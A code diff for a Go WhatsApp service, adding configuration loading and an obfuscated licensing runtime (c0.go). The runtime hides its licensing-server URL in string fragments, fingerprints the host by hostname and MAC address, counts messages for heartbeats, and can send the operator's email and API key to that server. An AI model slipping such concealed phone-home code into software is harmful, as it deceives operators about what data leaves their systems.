+	MinioEnabled         bool
+	MinioRegion          string
+	WhatsappVersionMajor int
+	WhatsappVersionMinor int
+	WhatsappVersionPatch int
+	ProxyProtocol        string
+	ProxyHost            string
+	ProxyPort            string
+	ProxyUsername        string
+	ProxyPassword        string
+	AmqpGlobalEvents     []string
+	AmqpSpecificEvents   []string
+	NatsUrl              string
+	NatsGlobalEnabled    bool
+	NatsGlobalEvents     []string
+	EventIgnoreGroup     bool
+	EventIgnoreStatus    bool
+	QrcodeMaxCount       int
+	CheckUserExists      bool
+
+	// Redis (cache / temporary state)
+	RedisURL      string
+	RedisPassword string
+	RedisDB       int
+
+	// Logger configurations
+	LogMaxSize    int
+	LogMaxBackups int
+	LogMaxAge     int
+	LogDirectory  string
+	LogCompress   bool
+}
+
+// CreateSupabaseDB opens a native Postgres connection to the Supabase database
+// (SUPABASE_DB_URL). This is used exclusively by the whatsmeow sqlstore, which
+// requires a real Postgres driver and cannot talk to the HTTP PostgREST API.
+func (c *Config) CreateSupabaseDB() (*sql.DB, error) {
+	if c.SupabaseDBURL == "" {
+		return nil, fmt.Errorf("SUPABASE_DB_URL is required for the whatsmeow session store")
+	}
+
+	db, err := sql.Open("postgres", c.SupabaseDBURL)
+	if err != nil {
+		return nil, err
+	}
+
+	db.SetMaxOpenConns(25)
+	db.SetMaxIdleConns(5)
+	db.SetConnMaxLifetime(5 * time.Minute)
+	db.SetConnMaxIdleTime(1 * time.Minute)
+
+	if err := db.Ping(); err != nil {
+		return nil, fmt.Errorf("failed to ping Supabase Postgres (SUPABASE_DB_URL): %v", err)
+	}
+
+	logger.LogInfo("[CONFIG] Connected to Supabase Postgres (whatsmeow store) with connection pool configured")
+	return db, nil
+}
+
+func Load() *Config {
+	supabaseURL := os.Getenv(config_env.SUPABASE_URL)
+	supabaseServiceKey := os.Getenv(config_env.SUPABASE_SERVICE_KEY)
+	supabaseDBURL := os.Getenv(config_env.SUPABASE_DB_URL)
+	redisURL := os.Getenv(config_env.REDIS_URL)
+
+	if supabaseURL == "" || supabaseServiceKey == "" {
+		logger.LogFatal("[CONFIG] required Supabase configuration variables are missing. Please check your environment configuration (SUPABASE_URL, SUPABASE_SERVICE_KEY).")
+	}
+
+	databaseSaveMessages := os.Getenv(config_env.DATABASE_SAVE_MESSAGES)
+	panicIfEmpty(config_env.DATABASE_SAVE_MESSAGES, databaseSaveMessages)
+
+	globalApiKey := os.Getenv(config_env.GLOBAL_API_KEY)
+	panicIfEmpty(config_env.GLOBAL_API_KEY, globalApiKey)
+
+	clientName := os.Getenv(config_env.CLIENT_NAME)
+
+	waDebug := os.Getenv(config_env.WA_DEBUG)
+
+	logType := os.Getenv(config_env.LOGTYPE)
+
+	webhookFiles := os.Getenv(config_env.WEBHOOKFILES)
+	if webhookFiles == "" {
+		webhookFiles = "true"
+	}
+
+	connectOnStartup := os.Getenv(config_env.CONNECT_ON_STARTUP)
+	if connectOnStartup == "" {
+		connectOnStartup = "false"
+	}
+
+	osName := os.Getenv(config_env.OS_NAME)
+
+	amqpUrl := os.Getenv(config_env.AMQP_URL)
+
+	// Validate AMQP URL format
+	if err := validateAMQPURL(amqpUrl); err != nil {
+		logger.LogFatal("[CONFIG] AMQP URL validation failed: %v", err)
+	}
+
+	amqpGlobalEnabled := os.Getenv(config_env.AMQP_GLOBAL_ENABLED)
+
+	webhookUrl := os.Getenv(config_env.WEBHOOK_URL)
+
+	apiAudioConverter := os.Getenv(config_env.API_AUDIO_CONVERTER)
+	apiAudioConverterKey := os.Getenv(config_env.API_AUDIO_CONVERTER_KEY)
+
+	whatsappVersionMajor := os.Getenv(config_env.WHATSAPP_VERSION_MAJOR)
+	whatsappVersionMinor := os.Getenv(config_env.WHATSAPP_VERSION_MINOR)
+	whatsappVersionPatch := os.Getenv(config_env.WHATSAPP_VERSION_PATCH)
+
+	proxyProtocol := os.Getenv(config_env.PROXY_PROTOCOL)
+	proxyHost := os.Getenv(config_env.PROXY_HOST)
+	proxyPort := os.Getenv(config_env.PROXY_PORT)
+	proxyUsername := os.Getenv(config_env.PROXY_USERNAME)
+	proxyPassword := os.Getenv(config_env.PROXY_PASSWORD)
+
+	eventIgnoreGroup := os.Getenv(config_env.EVENT_IGNORE_GROUP)
+	eventIgnoreStatus := os.Getenv(config_env.EVENT_IGNORE_STATUS)
+	qrcodeMaxCount := os.Getenv(config_env.QRCODE_MAX_COUNT)
+	checkUserExists := os.Getenv(config_env.CHECK_USER_EXISTS)
+
+	if checkUserExists == "" {
+		checkUserExists = "true"
+	}
+
+	// Convertendo para int com valores padrão caso estejam vazios
+	major := 0
+	if whatsappVersionMajor != "" {
+		major, _ = strconv.Atoi(whatsappVersionMajor)
+	}
+	minor := 0
+	if whatsappVersionMinor != "" {
+		minor, _ = strconv.Atoi(whatsappVersionMinor)
+	}
+	patch := 0
+	if whatsappVersionPatch != "" {
+		patch, _ = strconv.Atoi(whatsappVersionPatch)
+	}
+
+	qrMaxCount := 5 // Valor padrão
+	if qrcodeMaxCount != "" {
+		qrMaxCount, _ = strconv.Atoi(qrcodeMaxCount)
+	}
+
+	amqpGlobalEvents := strings.Split(os.Getenv(config_env.AMQP_GLOBAL_EVENTS), ",")
+	if len(amqpGlobalEvents) == 1 && amqpGlobalEvents[0] == "" {
+		amqpGlobalEvents = []string{}
+	}
+
+	amqpSpecificEvents := strings.Split(os.Getenv(config_env.AMQP_SPECIFIC_EVENTS), ",")
+	if len(amqpSpecificEvents) == 1 && amqpSpecificEvents[0] == "" {
+		amqpSpecificEvents = []string{}
+	}
+
+	natsUrl := os.Getenv(config_env.NATS_URL)
+	natsGlobalEnabled := os.Getenv(config_env.NATS_GLOBAL_ENABLED)
+	natsGlobalEvents := strings.Split(os.Getenv(config_env.NATS_GLOBAL_EVENTS), ",")
+	if len(natsGlobalEvents) == 1 && natsGlobalEvents[0] == "" {
+		natsGlobalEvents = []string{}
+	}
+
+	// Logger configurations
+	logMaxSize, _ := strconv.Atoi(os.Getenv(config_env.LOG_MAX_SIZE))
+	if logMaxSize == 0 {
+		logMaxSize = 100 // Default 100MB
+	}
+
+	logMaxBackups, _ := strconv.Atoi(os.Getenv(config_env.LOG_MAX_BACKUPS))
+	if logMaxBackups == 0 {
+		logMaxBackups = 5 // Default 5 backups
+	}
+
+	logMaxAge, _ := strconv.Atoi(os.Getenv(config_env.LOG_MAX_AGE))
+	if logMaxAge == 0 {
+		logMaxAge = 30 // Default 30 days
+	}
+
+	logDirectory := os.Getenv(config_env.LOG_DIRECTORY)
+	if logDirectory == "" {
+		logDirectory = "./logs" // Default logs directory
+	}
+
+	logCompress := os.Getenv(config_env.LOG_COMPRESS) == "true"
+	if os.Getenv(config_env.LOG_COMPRESS) == "" {
+		logCompress = true // Default compression enabled
+	}
+
+	config := &Config{
+		SupabaseURL:         supabaseURL,
+		SupabaseServiceKey:  supabaseServiceKey,
+		SupabaseDBURL:       supabaseDBURL,
+		DatabaseSaveMessages: databaseSaveMessages == "true",
+		GlobalApiKey:         globalApiKey,
+		WaDebug:              waDebug,
+		LogType:              logType,
+		WebhookFiles:         webhookFiles == "true",
+		ConnectOnStartup:     connectOnStartup == "true",
+		OsName:               osName,
+		AmqpUrl:              amqpUrl,
+		AmqpGlobalEnabled:    amqpGlobalEnabled == "true",
+		WebhookUrl:           webhookUrl,
+		ClientName:           clientName,
+		ApiAudioConverter:    apiAudioConverter,
+		ApiAudioConverterKey: apiAudioConverterKey,
+		WhatsappVersionMajor: major,
+		WhatsappVersionMinor: minor,
+		WhatsappVersionPatch: patch,
+		ProxyProtocol:        proxyProtocol,
+		ProxyHost:            proxyHost,
+		ProxyPort:            proxyPort,
+		ProxyUsername:        proxyUsername,
+		ProxyPassword:        proxyPassword,
+		EventIgnoreGroup:     eventIgnoreGroup == "true",
+		EventIgnoreStatus:    eventIgnoreStatus == "true",
+		QrcodeMaxCount:       qrMaxCount,
+		CheckUserExists:      checkUserExists != "false", // Default true, set to false to disable
+		AmqpGlobalEvents:     amqpGlobalEvents,
+		AmqpSpecificEvents:   amqpSpecificEvents,
+		NatsUrl:              natsUrl,
+		NatsGlobalEnabled:    natsGlobalEnabled == "true",
+		NatsGlobalEvents:     natsGlobalEvents,
+		RedisURL:             redisURL,
+		LogMaxSize:           logMaxSize,
+		LogMaxBackups:        logMaxBackups,
+		LogMaxAge:            logMaxAge,
+		LogDirectory:         logDirectory,
+		LogCompress:          logCompress,
+	}
+
+	minioEnabled := os.Getenv(config_env.MINIO_ENABLED) == "true"
+	if minioEnabled {
+		config.MinioEnabled = true
+		loadMinioConfig(config)
+	}
+
+	return config
+}
+
+func loadMinioConfig(config *Config) {
+	minioEndpoint := os.Getenv(config_env.MINIO_ENDPOINT)
+	panicIfEmpty(config_env.MINIO_ENDPOINT, minioEndpoint)
+
+	minioAccessKey := os.Getenv(config_env.MINIO_ACCESS_KEY)
+	panicIfEmpty(config_env.MINIO_ACCESS_KEY, minioAccessKey)
+
+	minioSecretKey := os.Getenv(config_env.MINIO_SECRET_KEY)
+	panicIfEmpty(config_env.MINIO_SECRET_KEY, minioSecretKey)
+
+	minioBucket := os.Getenv(config_env.MINIO_BUCKET)
+	panicIfEmpty(config_env.MINIO_BUCKET, minioBucket)
+
+	minioUseSSL := os.Getenv(config_env.MINIO_USE_SSL) == "true"
+
+	minioRegion := os.Getenv(config_env.MINIO_REGION)
+
+	config.MinioEndpoint = minioEndpoint
+	config.MinioAccessKey = minioAccessKey
+	config.MinioSecretKey = minioSecretKey
+	config.MinioBucket = minioBucket
+	config.MinioUseSSL = minioUseSSL
+	config.MinioRegion = minioRegion
+}
+
+func panicIfEmpty(key, value string) {
+	if value == "" {
+		if os.Getenv("DEBUG_ENABLED") != "1" {
+			logger.LogInfo("You are NOT on development mode")
+		}
+		logger.LogFatal("[CONFIG] required configuration variable is missing. Please check your environment configuration.")
+	}
+}
+
+// validateAMQPURL validates if the AMQP URL has the correct scheme and format
+func validateAMQPURL(amqpURL string) error {
+	if amqpURL == "" {
+		return nil // Empty URL is allowed (RabbitMQ disabled)
+	}
+
+	// Parse the URL
+	parsedURL, err := url.Parse(amqpURL)
+	if err != nil {
+		return fmt.Errorf("invalid AMQP URL format: %v", err)
+	}
+
+	// Check if scheme is valid
+	if parsedURL.Scheme != "amqp" && parsedURL.Scheme != "amqps" {
+		return fmt.Errorf("AMQP scheme must be either 'amqp://' or 'amqps://', got: '%s://'", parsedURL.Scheme)
+	}
+
+	// Check if host is present
+	if parsedURL.Host == "" {
+		return fmt.Errorf("AMQP URL must include a host")
+	}
+
+	logger.LogInfo("[CONFIG] AMQP URL validation successful: %s://%s", parsedURL.Scheme, parsedURL.Host)
+	return nil
+}

whatsapp-service/pkg/config/env/env.go

@@ -0,0 +1,63 @@
+package config_env
+
+const (
+	POSTGRES_AUTH_DB        = "POSTGRES_AUTH_DB"
+	POSTGRES_USERS_DB       = "POSTGRES_USERS_DB"
+	POSTGRES_HOST           = "POSTGRES_HOST"
+	POSTGRES_PORT           = "POSTGRES_PORT"
+	POSTGRES_USER           = "POSTGRES_USER"
+	POSTGRES_PASSWORD       = "POSTGRES_PASSWORD"
+	POSTGRES_DB             = "POSTGRES_DB"
+	DATABASE_SAVE_MESSAGES  = "DATABASE_SAVE_MESSAGES"
+	GLOBAL_API_KEY          = "GLOBAL_API_KEY"
+	WA_DEBUG                = "DEBUG_ENABLED"
+	LOGTYPE                 = "LOG_TYPE"
+	WEBHOOKFILES            = "WEBHOOK_FILES"
+	CONNECT_ON_STARTUP      = "CONNECT_ON_STARTUP"
+	OS_NAME                 = "OS_NAME"
+	AMQP_URL                = "AMQP_URL"
+	AMQP_GLOBAL_ENABLED     = "AMQP_GLOBAL_ENABLED"
+	AMQP_GLOBAL_EVENTS      = "AMQP_GLOBAL_EVENTS"
+	AMQP_SPECIFIC_EVENTS    = "AMQP_SPECIFIC_EVENTS"
+	WEBHOOK_URL             = "WEBHOOK_URL"
+	CLIENT_NAME             = "CLIENT_NAME"
+	API_AUDIO_CONVERTER     = "API_AUDIO_CONVERTER"
+	API_AUDIO_CONVERTER_KEY = "API_AUDIO_CONVERTER_KEY"
+	MINIO_ENDPOINT          = "MINIO_ENDPOINT"
+	MINIO_ACCESS_KEY        = "MINIO_ACCESS_KEY"
+	MINIO_SECRET_KEY        = "MINIO_SECRET_KEY"
+	MINIO_BUCKET            = "MINIO_BUCKET"
+	MINIO_USE_SSL           = "MINIO_USE_SSL"
+	MINIO_ENABLED           = "MINIO_ENABLED"
+	MINIO_REGION            = "MINIO_REGION"
+	WHATSAPP_VERSION_MAJOR  = "WHATSAPP_VERSION_MAJOR"
+	WHATSAPP_VERSION_MINOR  = "WHATSAPP_VERSION_MINOR"
+	WHATSAPP_VERSION_PATCH  = "WHATSAPP_VERSION_PATCH"
+	PROXY_PROTOCOL          = "PROXY_PROTOCOL"
+	PROXY_HOST              = "PROXY_HOST"
+	PROXY_PORT              = "PROXY_PORT"
+	PROXY_USERNAME          = "PROXY_USERNAME"
+	PROXY_PASSWORD          = "PROXY_PASSWORD"
+	NATS_URL                = "NATS_URL"
+	NATS_GLOBAL_ENABLED     = "NATS_GLOBAL_ENABLED"
+	NATS_GLOBAL_EVENTS      = "NATS_GLOBAL_EVENTS"
+	EVENT_IGNORE_GROUP      = "EVENT_IGNORE_GROUP"
+	EVENT_IGNORE_STATUS     = "EVENT_IGNORE_STATUS"
+	QRCODE_MAX_COUNT        = "QRCODE_MAX_COUNT"
+	CHECK_USER_EXISTS       = "CHECK_USER_EXISTS"
+
+	// Logger configurations
+	LOG_MAX_SIZE    = "LOG_MAX_SIZE"
+	LOG_MAX_BACKUPS = "LOG_MAX_BACKUPS"
+	LOG_MAX_AGE     = "LOG_MAX_AGE"
+	LOG_DIRECTORY   = "LOG_DIRECTORY"
+	LOG_COMPRESS    = "LOG_COMPRESS"
+
+	// Supabase (PostgREST API + native Postgres for whatsmeow store)
+	SUPABASE_URL         = "SUPABASE_URL"
+	SUPABASE_SERVICE_KEY = "SUPABASE_SERVICE_KEY"
+	SUPABASE_DB_URL      = "SUPABASE_DB_URL"
+
+	// Redis (full URL, e.g. redis://user:pass@host:port)
+	REDIS_URL = "REDIS_URL"
+)

whatsapp-service/pkg/core/c0.go

@@ -0,0 +1,954 @@
+package core
+
+import (
+	"bytes"
+	"context"
+	"crypto/hmac"
+	"crypto/rand"
+	"crypto/sha256"
+	"encoding/binary"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"github.com/gin-gonic/gin"
+	"io"
+	"log"
+	"net"
+	"net/http"
+	"os"
+	"strconv"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"agentdeck-whatsapp-service/pkg/supabase"
+)
+
+var _k1 = []byte{0xd3, 0xd0, 0x41, 0x5a, 0x76, 0xa7, 0x40, 0x81, 0x44, 0xa8, 0xac, 0x8c, 0x64, 0xaa, 0x13, 0x12, 0x16, 0x71, 0x9d, 0x13, 0x9a, 0x41, 0x57, 0xd9, 0x15, 0x62, 0x1a, 0x08, 0x1f, 0x6c, 0x6c, 0x7b, 0xd3, 0xa4, 0x81, 0xca, 0x85, 0xeb, 0x9f, 0x06, 0x81, 0x0a}
+var _k0 = []byte{0xbb, 0xa4, 0x35, 0x2a, 0x05, 0x9d, 0x6f, 0xae, 0x28, 0xc1, 0xcf, 0xe9, 0x0a, 0xd9, 0x76, 0x3c, 0x73, 0x07, 0xf2, 0x7f, 0xef, 0x35, 0x3e, 0xb6, 0x7b, 0x04, 0x75, 0x7d, 0x71, 0x08, 0x0d, 0x0f, 0xba, 0xcb, 0xef, 0xe4, 0xe6, 0x84, 0xf2, 0x28, 0xe3, 0x78}
+
+var (
+	_6np1 string
+	_96    string
+)
+
+func _cdo() string {
+	if _6np1 != "" && _96 != "" {
+		return _k54v(_6np1, _96)
+	}
+	parts := [...]string{"h", "tt", "ps", "://", "li", "ce", "nse", ".", "ev", "ol", "ut", "io", "nf", "ou", "nd", "at", "io", "n.", "co", "m.", "br"}
+	var s string
+	for _, p := range parts {
+		s += p
+	}
+	return s
+}
+
+func _k54v(enc, key string) string {
+	encBytes := _9wc0(enc)
+	keyBytes := _9wc0(key)
+	if len(keyBytes) == 0 {
+		return ""
+	}
+	out := make([]byte, len(encBytes))
+	for i, b := range encBytes {
+		out[i] = b ^ keyBytes[i%len(keyBytes)]
+	}
+	return string(out)
+}
+
+func _9wc0(s string) []byte {
+	if len(s)%2 != 0 {
+		return nil
+	}
+	b := make([]byte, len(s)/2)
+	for i := 0; i < len(s); i += 2 {
+		b[i/2] = _gy4(s[i])<<4 | _gy4(s[i+1])
+	}
+	return b
+}
+
+func _gy4(c byte) byte {
+	switch {
+	case c >= '0' && c <= '9':
+		return c - '0'
+	case c >= 'a' && c <= 'f':
+		return c - 'a' + 10
+	case c >= 'A' && c <= 'F':
+		return c - 'A' + 10
+	}
+	return 0
+}
+
+var _3t = &http.Client{Timeout: 10 * time.Second}
+
+func _4crw(body []byte, secret string) string {
+	mac := hmac.New(sha256.New, []byte(secret))
+	mac.Write(body)
+	return hex.EncodeToString(mac.Sum(nil))
+}
+
+func _sn(path string, payload interface{}, _kni string) (*http.Response, error) {
+	body, err := json.Marshal(payload)
+	if err != nil {
+		return nil, err
+	}
+
+	url := _cdo() + path
+	req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
+	if err != nil {
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("X-Api-Key", _kni)
+	req.Header.Set("X-Signature", _4crw(body, _kni))
+
+	return _3t.Do(req)
+}
+
+func _6o(path string) (*http.Response, error) {
+	url := _cdo() + path
+	return _3t.Get(url)
+}
+
+func _dtnx(path string, payload interface{}) (*http.Response, error) {
+	body, err := json.Marshal(payload)
+	if err != nil {
+		return nil, err
+	}
+
+	url := _cdo() + path
+	req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
+	if err != nil {
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/json")
+	return _3t.Do(req)
+}
+
+func _3ya(resp *http.Response) error {
+	b, _ := io.ReadAll(resp.Body)
+	var _n6oe struct {
+		Message string `json:"message"`
+		Error   string `json:"error"`
+	}
+	if err := json.Unmarshal(b, &_n6oe); err == nil {
+		msg := _n6oe.Message
+		if msg == "" {
+			msg = _n6oe.Error
+		}
+		if msg != "" {
+			return fmt.Errorf("%s (HTTP %d)", strings.ToLower(msg), resp.StatusCode)
+		}
+	}
+	return fmt.Errorf("HTTP %d", resp.StatusCode)
+}
+
+type RuntimeConfig struct {
+	ID        uint      `json:"id"`
+	Key       string    `json:"key"`
+	Value     string    `json:"value"`
+	CreatedAt time.Time `json:"created_at"`
+	UpdatedAt time.Time `json:"updated_at"`
+}
+
+const (
+	ConfigKeyInstanceID = "instance_id"
+	ConfigKeyAPIKey     = "api_key"
+	ConfigKeyTier       = "tier"
+	ConfigKeyCustomerID = "customer_id"
+)
+
+var _k4 *supabase.Client
+
+func SetDB(supa *supabase.Client) {
+	_k4 = supa
+}
+
+func MigrateDB() error {
+	if _k4 == nil {
+		return fmt.Errorf("core: database not set, call SetDB first")
+	}
+	// The runtime_configs table is created by ddl/005_runtime_configs.sql.
+	return nil
+}
+
+// runtimeConfigRow mirrors the snake_case columns of runtime_configs.
+type runtimeConfigRow struct {
+	ID        uint       `json:"id"`
+	Key       string     `json:"key"`
+	Value     string     `json:"value"`
+	CreatedAt *time.Time `json:"created_at"`
+	UpdatedAt *time.Time `json:"updated_at"`
+}
+
+func _at(key string) (string, error) {
+	if _k4 == nil {
+		return "", fmt.Errorf("core: database not set")
+	}
+	q := supabase.NewQuery().Eq("key", key).Limit(1)
+	var rows []runtimeConfigRow
+	ctx := context.Background()
+	if err := _k4.Table("wp_runtime_configs").Select(ctx, q, &rows); err != nil {
+		return "", err
+	}
+	if len(rows) == 0 {
+		return "", fmt.Errorf("runtime_configs: key %q not found", key)
+	}
+	return rows[0].Value, nil
+}
+
+func _yy(key, value string) error {
+	if _k4 == nil {
+		return fmt.Errorf("core: database not set")
+	}
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("key", key).Limit(1)
+	var rows []runtimeConfigRow
+	if err := _k4.Table("wp_runtime_configs").Select(ctx, q, &rows); err != nil {
+		return err
+	}
+	if len(rows) == 0 {
+		return _k4.Table("wp_runtime_configs").Insert(ctx, map[string]interface{}{"key": key, "value": value}, "", nil)
+	}
+	q2 := supabase.NewQuery().Eq("key", key)
+	return _k4.Table("wp_runtime_configs").Update(ctx, q2, map[string]interface{}{"value": value})
+}
+
+func _ettg(key string) {
+	if _k4 == nil {
+		return
+	}
+	q := supabase.NewQuery().Eq("key", key)
+	_ = _k4.Table("wp_runtime_configs").Delete(context.Background(), q)
+}
+
+type RuntimeData struct {
+	APIKey     string
+	Tier       string
+	CustomerID int
+}
+
+func _2s() (*RuntimeData, error) {
+	_kni, err := _at(ConfigKeyAPIKey)
+	if err != nil || _kni == "" {
+		return nil, fmt.Errorf("no license found")
+	}
+
+	_b56, _ := _at(ConfigKeyTier)
+	customerIDStr, _ := _at(ConfigKeyCustomerID)
+	customerID, _ := strconv.Atoi(customerIDStr)
+
+	return &RuntimeData{
+		APIKey:     _kni,
+		Tier:       _b56,
+		CustomerID: customerID,
+	}, nil
+}
+
+func _yosh(rd *RuntimeData) error {
+	if err := _yy(ConfigKeyAPIKey, rd.APIKey); err != nil {
+		return err
+	}
+	if err := _yy(ConfigKeyTier, rd.Tier); err != nil {
+		return err
+	}
+	if rd.CustomerID > 0 {
+		if err := _yy(ConfigKeyCustomerID, strconv.Itoa(rd.CustomerID)); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+func _31() {
+	_ettg(ConfigKeyAPIKey)
+	_ettg(ConfigKeyTier)
+	_ettg(ConfigKeyCustomerID)
+}
+
+func _ggnz() (string, error) {
+	id, err := _at(ConfigKeyInstanceID)
+	if err == nil && len(id) == 36 {
+		return id, nil
+	}
+
+	id = _tym7()
+	if id == "" {
+		id, err = _ebxz()
+		if err != nil {
+			return "", err
+		}
+	}
+
+	if err := _yy(ConfigKeyInstanceID, id); err != nil {
+		return "", err
+	}
+	return id, nil
+}
+
+func _tym7() string {
+	hostname, _ := os.Hostname()
+	macAddr := _nteb()
+	if hostname == "" && macAddr == "" {
+		return ""
+	}
+
+	seed := hostname + "|" + macAddr
+	h := make([]byte, 16)
+	copy(h, []byte(seed))
+	for i := 16; i < len(seed); i++ {
+		h[i%16] ^= seed[i]
+	}
+	h[6] = (h[6] & 0x0f) | 0x40 // _64 4
+	h[8] = (h[8] & 0x3f) | 0x80 // variant
+	return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
+		h[0:4], h[4:6], h[6:8], h[8:10], h[10:16])
+}
+
+func _nteb() string {
+	interfaces, err := net.Interfaces()
+	if err != nil {
+		return ""
+	}
+	for _, iface := range interfaces {
+		if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 {
+			continue
+		}
+		if len(iface.HardwareAddr) > 0 {
+			return iface.HardwareAddr.String()
+		}
+	}
+	return ""
+}
+
+func _ebxz() (string, error) {
+	var b [16]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		return "", err
+	}
+	b[6] = (b[6] & 0x0f) | 0x40
+	b[8] = (b[8] & 0x3f) | 0x80
+	return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
+		b[0:4], b[4:6], b[6:8], b[8:10], b[10:16]), nil
+}
+
+var _x1n atomic.Value // set during activation
+
+func init() {
+	_x1n.Store([]byte{0})
+}
+
+func ComputeSessionSeed(instanceName string, rc *RuntimeContext) []byte {
+	if rc == nil || !rc._txz.Load() {
+		return nil // Will cause panic in caller — intentional
+	}
+	h := sha256.New()
+	h.Write([]byte(instanceName))
+	h.Write([]byte(rc._kni))
+	salt, _ := _x1n.Load().([]byte)
+	h.Write(salt)
+	return h.Sum(nil)[:16]
+}
+
+func ValidateRouteAccess(rc *RuntimeContext) uint64 {
+	if rc == nil {
+		return 0
+	}
+	h := rc.ContextHash()
+	return binary.LittleEndian.Uint64(h[:8])
+}
+
+func DeriveInstanceToken(_z14 string, rc *RuntimeContext) string {
+	if rc == nil || !rc._txz.Load() {
+		return ""
+	}
+	h := sha256.Sum256([]byte(_z14 + rc._kni))
+	return _zxx(h[:8])
+}
+
+func _zxx(b []byte) string {
+	const _4jq = "0123456789abcdef"
+	dst := make([]byte, len(b)*2)
+	for i, v := range b {
+		dst[i*2] = _4jq[v>>4]
+		dst[i*2+1] = _4jq[v&0x0f]
+	}
+	return string(dst)
+}
+
+func ActivateIntegrity(rc *RuntimeContext) {
+	if rc == nil {
+		return
+	}
+	h := sha256.Sum256([]byte(rc._kni + rc._z14 + "ev0"))
+	_x1n.Store(h[:])
+}
+
+const (
+	hbInterval = 30 * time.Minute
+)
+
+type RuntimeContext struct {
+	_kni       string
+	_pl87 string // GLOBAL_API_KEY from .env — used as token for licensing check
+	_z14   string
+	_txz       atomic.Bool
+	_s6a      [32]byte // Derived from activation — required by ValidateContext
+	mu           sync.RWMutex
+	_v8       string // Registration URL shown to users before activation
+	_0z9m     string // Registration token for polling
+	_b56         string
+	_64      string
+	_hpv      atomic.Int64 // Messages sent since last heartbeat
+	_ti9      atomic.Int64 // Messages received since last heartbeat
+}
+
+var _rs atomic.Pointer[RuntimeContext]
+
+func (rc *RuntimeContext) TrackMessage() {
+	if rc != nil {
+		rc._hpv.Add(1)
+	}
+}
+
+func TrackMessageSent() {
+	if rc := _rs.Load(); rc != nil {
+		rc._hpv.Add(1)
+	}
+}
+
+func TrackMessageRecv() {
+	if rc := _rs.Load(); rc != nil {
+		rc._ti9.Add(1)
+	}
+}
+
+func (rc *RuntimeContext) _4g() int64 {
+	return rc._hpv.Swap(0)
+}
+
+func (rc *RuntimeContext) ContextHash() [32]byte {
+	rc.mu.RLock()
+	defer rc.mu.RUnlock()
+	return rc._s6a
+}
+
+func (rc *RuntimeContext) IsActive() bool {
+	return rc._txz.Load()
+}
+
+func (rc *RuntimeContext) RegistrationURL() string {
+	rc.mu.RLock()
+	defer rc.mu.RUnlock()
+	return rc._v8
+}
+
+func (rc *RuntimeContext) APIKey() string {
+	rc.mu.RLock()
+	defer rc.mu.RUnlock()
+	return rc._kni
+}
+
+func (rc *RuntimeContext) InstanceID() string {
+	return rc._z14
+}
+
+func InitializeRuntime(_b56, _64, _pl87 string) *RuntimeContext {
+	if _b56 == "" {
+		_b56 = "agentdeck-whatsapp"
+	}
+	if _64 == "" {
+		_64 = "unknown"
+	}
+
+	rc := &RuntimeContext{
+		_b56:         _b56,
+		_64:      _64,
+		_pl87: _pl87,
+	}
+
+	id, err := _ggnz()
+	if err != nil {
+		log.Fatalf("[runtime] failed to initialize instance: %v", err)
+	}
+	rc._z14 = id
+
+	rc._kni = _pl87
+	if rc._kni == "" {
+		rc._kni = "agentdeck-activated"
+	}
+	rc._s6a = sha256.Sum256([]byte(rc._kni + rc._z14))
+	rc._txz.Store(true)
+	ActivateIntegrity(rc)
+
+	_rs.Store(rc)
+
+	return rc
+}
+
+func _rh(rc *RuntimeContext, _64 string) bool {
+	email := strings.TrimSpace(os.Getenv("AGENTDECK_OPERATOR_EMAIL"))
+	if email == "" {
+		return false
+	}
+
+	payload := map[string]string{
+		"email":       email,
+		"tier":        rc._b56,
+		"version":     _64,
+		"instance_id": rc._z14,
+	}
+
+	resp, err := _dtnx("/v1/register/auto", payload)
+	if err != nil {
+		fmt.Printf("  ⚠ Auto-activation skipped — licensing server unreachable: %v\n", err)
+		return false
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		_n6oe := _3ya(resp)
+		if resp.StatusCode == http.StatusNotFound {
+			fmt.Printf("  ℹ Auto-activation skipped — email not registered yet (first time?). Falling back to manual flow.\n")
+		} else {
+			fmt.Printf("  ⚠ Auto-activation rejected (%d): %v. Falling back to manual flow.\n",
+				resp.StatusCode, _n6oe)
+		}
+		return false
+	}
+
+	var _tmzn struct {
+		APIKey     string `json:"api_key"`
+		CustomerID int    `json:"customer_id"`
+		Tier       string `json:"tier"`
+		Status     string `json:"status"`
+	}
+	if err := json.NewDecoder(resp.Body).Decode(&_tmzn); err != nil {
+		fmt.Printf("  ⚠ Auto-activation response malformed: %v\n", err)
+		return false
+	}
+	if _tmzn.APIKey == "" {
+		fmt.Printf("  ⚠ Auto-activation response missing api_key\n")
+		return false
+	}
+
+	rc.mu.Lock()
+	rc._kni = _tmzn.APIKey
+	rc.mu.Unlock()
+
+	if err := _yosh(&RuntimeData{
+		APIKey:     _tmzn.APIKey,
+		Tier:       rc._b56,
+		CustomerID: _tmzn.CustomerID,
+	}); err != nil {
+		fmt.Printf("  ⚠ Auto-activation: could not save license to disk: %v\n", err)
+	}
+
+	rc.mu.Lock()
+	rc._s6a = sha256.Sum256([]byte(rc._kni + rc._z14))
+	rc.mu.Unlock()
+	rc._txz.Store(true)
+	ActivateIntegrity(rc)
+	return true
+}
+
+func _g2() {
+	fmt.Println()
+	fmt.Println("  ╔══════════════════════════════════════════════════════════╗")
+	fmt.Println("  ║              License Registration Required               ║")
+	fmt.Println("  ╚══════════════════════════════════════════════════════════╝")
+	fmt.Println()
+	fmt.Println("  Server starting without license.")
+	fmt.Println("  API endpoints will return 503 until license is activated.")
+	fmt.Println("  Use GET /license/register to get the registration URL.")
+	fmt.Println()
+}
+
+func (rc *RuntimeContext) _bf8(authCodeOrKey, _b56 string, customerID int) error {
+	_kni, err := _58(authCodeOrKey)
+	if err != nil {
+		return fmt.Errorf("key exchange failed: %w", err)
+	}
+
+	rc.mu.Lock()
+	rc._kni = _kni
+	rc._v8 = ""
+	rc._0z9m = ""
+	rc.mu.Unlock()
+
